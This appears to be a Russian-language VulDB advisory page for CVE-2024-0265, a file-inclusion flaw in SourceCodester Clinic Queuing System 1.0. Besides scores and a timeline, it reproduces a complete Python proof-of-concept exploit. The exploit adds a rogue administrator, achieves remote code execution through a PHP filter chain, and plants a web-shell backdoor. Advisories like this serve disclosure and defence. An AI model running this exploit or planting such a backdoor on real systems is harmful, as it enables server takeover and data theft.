SourceCodester Clinic Queuing System 1.0 GET Parameter /index.php page эскалация привилегий

CVSS Meta Temp ScoreТекущая цена эксплойта (≈)Балл интереса CTI
7.4$0-$5k0.00

СводкаИнформация

В SourceCodester Clinic Queuing System 1.0 была найдена уязвимость, классифицированная как критический. Затронута неизвестная функция файла /index.php компонента GET Parameter Handler. Манипуляция аргументом page приводит к эскалация привилегий. Эта уязвимость обрабатывается как CVE-2024-0265. Есть возможность удалённого запуска атаки. Кроме того, имеется доступный эксплойт.

ПодробностиИнформация

В SourceCodester Clinic Queuing System 1.0 была найдена уязвимость, классифицированная как критический. Затронута неизвестная функция файла /index.php компонента GET Parameter Handler. Манипуляция аргументом page приводит к эскалация привилегий. Использование CWE для описания проблемы приводит к CWE-73. Слабость была опубликована 06.01.2024. Документ доступен для загрузки по адресу github.com.

Эта уязвимость обрабатывается как CVE-2024-0265. Есть возможность удалённого запуска атаки. Доступна техническая информация. Популярность этой уязвимости ниже среднего. Кроме того, имеется доступный эксплойт. Эксплойт опубликован и может быть использован. На данный момент актуальная стоимость эксплойта может быть около USD $0-$5k.

Присвоено значение Доказательство концепции. Эксплойт доступен для загрузки на сайте github.com. В 0-дневный период предполагаемая подземная цена составляла около $0-$5k. Исходный код эксплойта:

# Author: Juan Marco Sanchez | https://linkedin.com/in/juanmarcosanchez
  1. Sourcecodester Clinic Queuing System RCE
  2. Chain of CVE-2024-0264 and CVE-2024-0265
import requests import random import argparse from bs4 import BeautifulSoup

parser = argparse.ArgumentParser() parser.add_argument("target") args = parser.parse_args()

base_url = args.target phase1_url = base_url + '/LoginRegistration.php?a=save_user' phase2_url = base_url + '/LoginRegistration.php?a=login'

filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home"

def phase1(): rand_user = 'pwn_'+str(random.randint(100, 313)) rand_pass = 'pwn_'+str(random.randint(100, 313)) pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1} print("[*] adding administrator " + rand_user + ":" + rand_pass) phase1 = requests.post(phase1_url, pwn_user_data) if "User Account has been added successfully." in phase1.text: print("[+] Phase 1 Success - Admin user added!\n") print("[*] Initiating Phase 2") phase2(rand_user, rand_pass) else: print("[X] user creation failed :(") die()

def phase2(user, password): s = requests.Session(); login_data = {'formToken':'','username':user, 'password':password} print("[*] Loggin in....") phase2 = s.post(phase2_url, login_data)

if "Login successfully." in phase2.text: print("[+] Login success") else: print("[X] Login failed.") die()

print("[+] Preparing for RCE via LFI PHP FIlter Chaining...\n") rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';" #print("[*] Payload: " + rce_url) rce = s.get(rce_url) if "jmrcsnchz" in rce.text: print("[+] RCE success!") soup = BeautifulSoup(rce.text, 'html.parser') print("[+] Output of id: " + soup.pre.get_text()) print("[*] Uploading php backdoor....") s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));") print("[+] Access at " + base_url + "/rce.php?0=whoami") else: print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.") die()

try: print("[*] Initiating Phase 1") phase1() except: print("Exploit failed.")

ПродуктИнформация

Поставщик

Имя

Версия

Лицензия

Веб-сайт

CPE 2.3Информация

CPE 2.2Информация

CVSSv4Информация

VulDB Вектор: 🔍
VulDB Надёжность: 🔍

CVSSv3Информация

VulDB Meta Base Score: 7.6
VulDB Meta Temp Score: 7.4

VulDB Базовый балл: 6.3
VulDB Временная оценка: 5.7
VulDB Вектор: 🔍
VulDB Надёжность: 🔍

Исследователь Базовый балл: 8.8
Исследователь Вектор: 🔍

NVD Базовый балл: 8.8
NVD Вектор: 🔍

CNA Базовый балл: 6.3
CNA Вектор (VulDB): 🔍

CVSSv2Информация

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
ВекторСложностьАутентификацияКонфиденциальностьЦелостностьДоступность
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать

VulDB Базовый балл: 🔍
VulDB Временная оценка: 🔍
VulDB Надёжность: 🔍

NVD Базовый балл: 🔍

ЭксплуатацияИнформация

Класс: эскалация привилегий
CWE: CWE-73
CAPEC: 🔍
ATT&CK: 🔍

Физический: Нет
Локальный: Нет
Удалённый: Да

Доступность: 🔍
Доступ: публичный
Статус: Доказательство концепции
Автор: Juan Marco Sanchez (jmrcsnchz)
Язык программирования: 🔍
Скачать: 🔍
Google Hack: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Прогноз цен: 🔍
Оценка текущей цены: 🔍

0-DayРазблокироватьРазблокироватьРазблокироватьРазблокировать
СегодняРазблокироватьРазблокироватьРазблокироватьРазблокировать

Разведка угрозИнформация

Интерес: 🔍
Активные акторы: 🔍
Активные группы APT: 🔍

КонтрмерыИнформация

Рекомендация: о смягчении не известно
Статус: 🔍

0-дневное время: 🔍

ХронологияИнформация

06.01.2024 🔍
06.01.2024 +0 дни 🔍
06.01.2024 +0 дни 🔍
09.06.2025 +520 дни 🔍

ИсточникиИнформация

Поставщик: sourcecodester.com

Консультация: github.com
Статус: Не определено

CVE: CVE-2024-0265 (🔍)
GCVE (CVE): GCVE-0-2024-0265
GCVE (VulDB): GCVE-100-249821
EUVD: 🔍
scip Labs: https://www.scip.ch/en/?labs.20161013

ВходИнформация

Создано: 06.01.2024 09:57
Обновлено: 09.06.2025 21:22
Изменения: 06.01.2024 09:57 (42), 06.01.2024 16:23 (3), 06.01.2024 16:24 (13), 06.01.2024 16:27 (3), 24.01.2024 18:03 (2), 24.01.2024 18:11 (27), 09.06.2025 21:22 (16)
Завершенный: 🔍
Отправитель: Echidonut
Коммиттер: Echidonut
Cache ID: 216::103

ОтправитьИнформация

принято

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Обсуждение

Want to know what is going to be exploited?

We predict KEV entries!